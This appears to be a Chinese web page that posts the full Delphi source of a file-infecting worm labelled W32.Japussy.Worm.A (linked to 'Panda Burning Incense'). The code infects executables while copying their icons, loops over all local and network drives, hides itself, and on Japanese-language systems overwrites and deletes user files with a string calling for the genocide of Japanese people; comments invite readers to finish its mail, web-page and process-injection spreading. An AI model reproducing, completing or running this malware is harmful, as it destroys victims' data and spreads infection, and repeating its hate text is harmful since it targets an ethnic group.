熊猫烧香病毒源码

delphi 代码
  1. program Japussy;   
  2. uses   
  3. Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};   
  4. const  
  5. HeaderSize = 82432//病毒体的大小   
  6. IconOffset = $12EB8; //PE文件主图标的偏移量   
  7.   
  8. //在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同   
  9. //查找2800000020的十六进制字符串可以找到主图标的偏移量   
  10.   
  11. {   
  12. HeaderSize = 38912//Upx压缩过病毒体的大小   
  13. IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量   
  14.   
  15. //Upx 1.24W 用法: upx -9 --8086 Japussy.exe   
  16. }   
  17. IconSize = $2E8; //PE文件主图标的大小--744字节   
  18. IconTail = IconOffset + IconSize; //PE文件主图标的尾部   
  19. ID = $44444444//感染标记   
  20.   
  21. //垃圾码,以备写入   
  22. Catchword = 'If a race need to be killed out, it must be Yamato. ' +   
  23. 'If a country need to be destroyed, it must be Japan! ' +   
  24. '*** W32.Japussy.Worm.A ***';   
  25. {$R *.RES}   
  26. function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;    
  27. stdcall; external 'Kernel32.dll'; //函数声明   
  28. var   
  29. TmpFile: string;   
  30. Si: STARTUPINFO;   
  31. Pi: PROCESS_INFORMATION;   
  32. IsJap: Boolean = False; //日文操作系统标记   
  33. { 判断是否为Win9x }   
  34. function IsWin9x: Boolean;   
  35. var   
  36. Ver: TOSVersionInfo;   
  37. begin   
  38. Result := False;   
  39. Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);   
  40. if not GetVersionEx(Ver) then   
  41. Exit;   
  42. if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x   
  43. Result := True;   
  44. end;   
  45. { 在流之间复制 }   
  46. procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;   
  47. dStartPos: Integer; Count: Integer);   
  48. var   
  49. sCurPos, dCurPos: Integer;   
  50. begin   
  51. sCurPos := Src.Position;   
  52. dCurPos := Dst.Position;   
  53. Src.Seek(sStartPos, 0);   
  54. Dst.Seek(dStartPos, 0);   
  55. Dst.CopyFrom(Src, Count);   
  56. Src.Seek(sCurPos, 0);   
  57. Dst.Seek(dCurPos, 0);   
  58. end;   
  59. { 将宿主文件从已感染的PE文件中分离出来,以备使用 }   
  60. procedure ExtractFile(FileName: string);   
  61. var   
  62. sStream, dStream: TFileStream;   
  63. begin   
  64. try  
  65. sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);   
  66. try  
  67. dStream := TFileStream.Create(FileName, fmCreate);   
  68. try  
  69. sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分   
  70. dStream.CopyFrom(sStream, sStream.Size - HeaderSize);   
  71. finally  
  72. dStream.Free;   
  73. end;   
  74. finally  
  75. sStream.Free;   
  76. end;   
  77. except   
  78. end;   
  79. end;   
  80. { 填充STARTUPINFO结构 }   
  81. procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);   
  82. begin   
  83. Si.cb := SizeOf(Si);   
  84. Si.lpReserved := nil;   
  85. Si.lpDesktop := nil;   
  86. Si.lpTitle := nil;   
  87. Si.dwFlags := STARTF_USESHOWWINDOW;   
  88. Si.wShowWindow := State;   
  89. Si.cbReserved2 := 0;   
  90. Si.lpReserved2 := nil;   
  91. end;   
  92. { 发带毒邮件 }   
  93. procedure SendMail;   
  94. begin   
  95. //哪位仁兄愿意完成之?   
  96. end;   
  97. { 感染PE文件 }   
  98. procedure InfectOneFile(FileName: string);   
  99. var   
  100. HdrStream, SrcStream: TFileStream;   
  101. IcoStream, DstStream: TMemoryStream;   
  102. iID: LongInt;   
  103. aIcon: TIcon;   
  104. Infected, IsPE: Boolean;   
  105. i: Integer;   
  106. Buf: array[0..1] of Char;   
  107. begin   
  108. try //出错则文件正在被使用,退出   
  109. if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染   
  110. Exit;   
  111. Infected := False;   
  112. IsPE := False;   
  113. SrcStream := TFileStream.Create(FileName, fmOpenRead);   
  114. try  
  115. for i := 0 to $108 do //检查PE文件头   
  116. begin   
  117. SrcStream.Seek(i, soFromBeginning);   
  118. SrcStream.Read(Buf, 2);   
  119. if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记   
  120. begin   
  121. IsPE := True; //是PE文件   
  122. Break;   
  123. end;   
  124. end;   
  125. SrcStream.Seek(-4, soFromEnd); //检查感染标记   
  126. SrcStream.Read(iID, 4);   
  127. if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染   
  128. Infected := True;   
  129. finally  
  130. SrcStream.Free;   
  131. end;   
  132. if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出   
  133. Exit;   
  134. IcoStream := TMemoryStream.Create;   
  135. DstStream := TMemoryStream.Create;   
  136. try  
  137. aIcon := TIcon.Create;   
  138. try  
  139. //得到被感染文件的主图标(744字节),存入流   
  140. aIcon.ReleaseHandle;   
  141. aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);   
  142. aIcon.SaveToStream(IcoStream);   
  143. finally  
  144. aIcon.Free;   
  145. end;   
  146. SrcStream := TFileStream.Create(FileName, fmOpenRead);   
  147. //头文件   
  148. HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);   
  149. try  
  150. //写入病毒体主图标之前的数据   
  151. CopyStream(HdrStream, 0, DstStream, 0, IconOffset);   
  152. //写入目前程序的主图标   
  153. CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);   
  154. //写入病毒体主图标到病毒体尾部之间的数据   
  155. CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);   
  156. //写入宿主程序   
  157. CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);   
  158. //写入已感染的标记   
  159. DstStream.Seek(02);   
  160. iID := $44444444;   
  161. DstStream.Write(iID, 4);   
  162. finally  
  163. HdrStream.Free;   
  164. end;   
  165. finally  
  166. SrcStream.Free;   
  167. IcoStream.Free;   
  168. DstStream.SaveToFile(FileName); //替换宿主文件   
  169. DstStream.Free;   
  170. end;   
  171. except;   
  172. end;   
  173. end;   
  174.   
  175. { 将目标文件写入垃圾码后删除 }   
  176. procedure SmashFile(FileName: string);   
  177. var   
  178. FileHandle: Integer;   
  179. i, Size, Mass, Max, Len: Integer;   
  180. begin   
  181. try  
  182. SetFileAttributes(PChar(FileName), 0); //去掉只读属性   
  183. FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件   
  184. try  
  185. Size := GetFileSize(FileHandle, nil); //文件大小   
  186. i := 0;   
  187. Randomize;   
  188. Max := Random(15); //写入垃圾码的随机次数   
  189. if Max < 5 then   
  190. Max := 5;   
  191. Mass := Size div Max; //每个间隔块的大小   
  192. Len := Length(Catchword);   
  193. while i < Max do  
  194. begin   
  195. FileSeek(FileHandle, i * Mass, 0); //定位   
  196. //写入垃圾码,将文件彻底破坏掉   
  197. FileWrite(FileHandle, Catchword, Len);   
  198. Inc(i);   
  199. end;   
  200. finally  
  201. FileClose(FileHandle); //关闭文件   
  202. end;   
  203. DeleteFile(PChar(FileName)); //删除之   
  204. except   
  205. end;   
  206. end;   
  207. { 获得可写的驱动器列表 }   
  208. function GetDrives: string;   
  209. var   
  210. DiskType: Word;   
  211. D: Char;   
  212. Str: string;   
  213. i: Integer;   
  214. begin   
  215. for i := 0 to 25 do //遍历26个字母   
  216. begin   
  217. D := Chr(i + 65);   
  218. Str := D + ':';   
  219. DiskType := GetDriveType(PChar(Str));   
  220. //得到本地磁盘和网络盘   
  221. if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then   
  222. Result := Result + D;   
  223. end;   
  224. end;   
  225. { 遍历目录,感染和摧毁文件 }   
  226. procedure LoopFiles(Path, Mask: string);   
  227. var   
  228. i, Count: Integer;   
  229. Fn, Ext: string;   
  230. SubDir: TStrings;   
  231. SearchRec: TSearchRec;   
  232. Msg: TMsg;   
  233. function IsValidDir(SearchRec: TSearchRec): Integer;   
  234. begin   
  235. if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and   
  236. (SearchRec.Name <> '..') then   
  237. Result := 0 //不是目录   
  238. else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and   
  239. (SearchRec.Name <> '..') then   
  240. Result := 1 //不是根目录   
  241. else Result := 2//是根目录   
  242. end;   
  243. begin   
  244. if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then   
  245. begin   
  246. repeat   
  247. PeekMessage(Msg, 000, PM_REMOVE); //调整消息队列,避免引起怀疑   
  248. if IsValidDir(SearchRec) = 0 then   
  249. begin   
  250. Fn := Path + SearchRec.Name;   
  251. Ext := UpperCase(ExtractFileExt(Fn));   
  252. if (Ext = '.EXE') or (Ext = '.SCR') then   
  253. begin   
  254. InfectOneFile(Fn); //感染可执行文件    
  255. end   
  256. else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then   
  257. begin   
  258. //感染HTML和ASP文件,将Base64编码后的病毒写入   
  259. //感染浏览此网页的所有用户   
  260. //哪位大兄弟愿意完成之?   
  261. end   
  262. else if Ext = '.WAB' then //Outlook地址簿文件   
  263. begin   
  264. //获取Outlook邮件地址   
  265. end   
  266. else if Ext = '.ADC' then //Foxmail地址自动完成文件   
  267. begin   
  268. //获取Foxmail邮件地址   
  269. end   
  270. else if Ext = 'IND' then //Foxmail地址簿文件   
  271. begin   
  272. //获取Foxmail邮件地址   
  273. end   
  274. else    
  275. begin   
  276. if IsJap then //是倭文操作系统   
  277. begin   
  278. if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or   
  279. (Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or   
  280. (Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or   
  281. (Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or   
  282. (Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or   
  283. (Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then   
  284. SmashFile(Fn); //摧毁文件   
  285. end;   
  286. end;   
  287. end;   
  288. //感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑   
  289. Sleep(200);   
  290. until (FindNext(SearchRec) <> 0);   
  291. end;   
  292. FindClose(SearchRec);   
  293. SubDir := TStringList.Create;   
  294. if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then   
  295. begin   
  296. repeat   
  297. if IsValidDir(SearchRec) = 1 then   
  298. SubDir.Add(SearchRec.Name);   
  299. until (FindNext(SearchRec) <> 0);   
  300. end;   
  301. FindClose(SearchRec);   
  302. Count := SubDir.Count - 1;   
  303. for i := 0 to Count do  
  304. LoopFiles(Path + SubDir.Strings + '', Mask);   
  305. FreeAndNil(SubDir);   
  306. end;   
  307. { 遍历磁盘上所有的文件 }   
  308. procedure InfectFiles;   
  309.   
  310. var   
  311. DriverList: string;   
  312. i, Len: Integer;   
  313. begin   
  314. if GetACP = 932 then //日文操作系统   
  315. IsJap := True; //去死吧!   
  316. DriverList := GetDrives; //得到可写的磁盘列表   
  317. Len := Length(DriverList);   
  318. while True do //死循环   
  319. begin   
  320. for i := Len downto 1 do //遍历每个磁盘驱动器   
  321. LoopFiles(DriverList + ':', '*.*'); //感染之   
  322. SendMail; //发带毒邮件   
  323. Sleep(1000 * 60 * 5); //睡眠5分钟   
  324. end;   
  325. end;   
  326. { 主程序开始 }   
  327. begin   
  328. if IsWin9x then //是Win9x   
  329. RegisterServiceProcess(GetCurrentProcessID, 1//注册为服务进程   
  330. else //WinNT   
  331. begin   
  332. //远程线程映射到Explorer进程   
  333. //哪位兄台愿意完成之?   
  334. end;   
  335. //如果是原始病毒体自己   
  336. if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then   
  337. InfectFiles //感染和发邮件   
  338. else //已寄生于宿主程序上了,开始工作   
  339. begin   
  340. TmpFile := ParamStr(0); //创建临时文件   
  341. Delete(TmpFile, Length(TmpFile) - 44);   
  342. TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一个空格   
  343. ExtractFile(TmpFile); //分离之   
  344. FillStartupInfo(Si, SW_SHOWDEFAULT);   
  345. CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,   
  346. 0, nil, '.', Si, Pi); //创建新进程运行之   
  347. InfectFiles; //感染和发邮件   
  348. end;   
  349. end.   

你可能感兴趣的:(多线程,windows,ext,asp,Delphi)